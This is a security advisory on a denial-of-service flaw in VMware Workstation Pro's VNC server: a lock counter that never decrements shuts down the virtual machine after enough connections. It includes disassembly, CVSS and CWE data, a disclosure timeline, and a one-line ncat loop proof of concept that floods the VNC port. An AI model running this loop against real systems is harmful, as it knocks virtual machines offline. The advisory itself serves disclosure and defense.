VMware VNC Lock Count Denial of Service Vulnerability

Summary

An exploitable Denial of Service vulnerability exists in the remote management functionality of VMware . A large amount of VNC connections can cause an exception in the server to trigger, resulting in a shutdown of the virtual machine. An attacker can initiate VNC sessions to trigger this vulnerability.

Tested Versions

VMware Workstation Pro 12.5.7, Linux/Windows

Product URLs

<https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation_pro/12_0&gt;

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-772: Missing Release of Resource after Effective Lifetime

Details

VMware’s VNC implementation is used for remote management, remote access, and automation purposes in VMware products, such as Workstation, Player, and ESXi, which share a common VMW VNC code base between them all.

Since the VMware VNC server is naturally multi-threaded, there are locks and semaphores and mutexes to deal with shared variables. The VNC server also maintains a global variable that indicates the amount of locks that are currently used, that is incremented by certain events. The relevant disassembly is listed below:

Increment_Lock_Count:
	sub rsp, 8 
	mov eax, 1 
	lock xadd cs:MxLockCounter, eax ; This is the only xref 
	mov rdx, cs:AtomicUseFence_ptr 
	cmp byte ptr [rdx], 0 
	jnz short big_num_cmp
;----------------------------
big_num_cmp:
	cmp eax, 0FFFFFFh
	jz too_many_locks
;----------------------------
too_many_locks: ; "MXUserAllocSerialNumber" 
	lea rsi, aMxuserallocser 
	lea rdi, aSTooManyLocks ; "%s: too many locks!\n" 
	xor eax, eax 
	call Log_Error
	…
	call kill_all_threads

The above truncated disassembly is called at least twice in the course of any VNC connection, which, to summarize, just checks to makes sure there isn’t a really large number of locks, since that would be bad. Presumably.

Regardless, the important thing to note here is that the incrementing instruction (lock xadd cs:MxLockCounter, eax;) is the only cross-reference to the MxLockCounter global variable, meaning it never gets decremented. Thus, as long as and attacker can initiate a bunch of TCP connection to the VNC server (each successful connection increments it twice), without even sending any other datagrams, an attacker can eventually shutdown the connected virtual machine.

Exploit Proof-of-Concept

# There are obviously better ways to do this
for x in `seq 0 $(( 0xffffff/2 ))`; do echo “doop” | ncat <targetIP> <VNCPort>; done

Timeline

2017-07-13 - Vendor Disclosure
2018-03-15 - Public Release